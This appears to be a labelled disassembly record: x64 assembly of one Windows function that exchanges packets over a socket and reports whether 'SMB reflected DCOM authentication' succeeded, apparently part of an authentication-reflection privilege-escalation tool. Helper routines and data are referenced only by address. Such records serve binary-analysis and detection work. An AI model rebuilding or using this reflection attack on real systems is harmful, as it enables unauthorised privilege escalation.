Function at 0x140002e20
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1fe0]
mov eax, 0x20e0
call fcn.14001cf10
sub rsp, rax
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rbp + 0x1fd0], rax
movaps xmm0, xmmword [0x140027320]
mov rbx, rcx
movaps xmm1, xmmword [0x140027330]
movzx eax, word [0x140027368]
mov rsi, qword [0x14002cec8]
mov rdi, qword [0x14002cec0]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x140027340]
movaps xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140027360]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x140027350]
movsd qword [rbp - 0x60], xmm0
mov dword [rsp + 0x30], 2
movaps xmmword [rbp - 0x70], xmm1
mov word [rbp - 0x58], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movsx r8d, byte [rsp + 0x63]
lea rdx, [rsp + 0x60]
add r8d, 4
mov word [rsp + 0x7e], ax
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp - 0x30]
mov r8d, 0x2000
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
movaps xmm0, xmmword [0x140027370]
movaps xmm1, xmmword [0x140027380]
mov eax, dword [0x1400273d8]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [0x140027390]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm0, xmmword [0x1400273b0]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [0x1400273a0]
movaps xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x1400273d0]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm1, xmmword [0x1400273c0]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1400273dc]
movsd qword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm1
mov word [rbp - 0x34], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movsx r8d, byte [rsp + 0x63]
lea rdx, [rsp + 0x60]
add r8d, 4
mov dword [rbp - 0x7c], eax
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp - 0x30]
mov r8d, 0x2000
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x34], 0
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x48]
mov rcx, rbx
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x30]
call fcn.1400030b0
mov r9d, dword [rsp + 0x34]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x30]
lea rax, [rsp + 0x48]
mov rcx, rbx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rax
call fcn.140003350
mov edx, dword [rbp - 0x24]
test edx, edx
je 0x140003001
lea rcx, str.____SMB_reflected_DCOM_authentication_failed_with_status_code_0x_x_n
call fcn.140001010
jmp 0x14000300d
lea rcx, str.___SMB_reflected_DCOM_authentication_succeeded__n
call fcn.140001010
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.1400036c0
test eax, eax
je 0x140003077
mov r9, rdi
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.140003820
mov r9, rsi
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.140003a30
test eax, eax
je 0x140003077
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.140003d30
lea r8, [rsp + 0x30]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.140003eb0
jmp 0x140003079
xor eax, eax
mov rcx, qword [rbp + 0x1fd0]
xor rcx, rsp
call fcn.140004020
lea r11, [rsp + 0x20e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret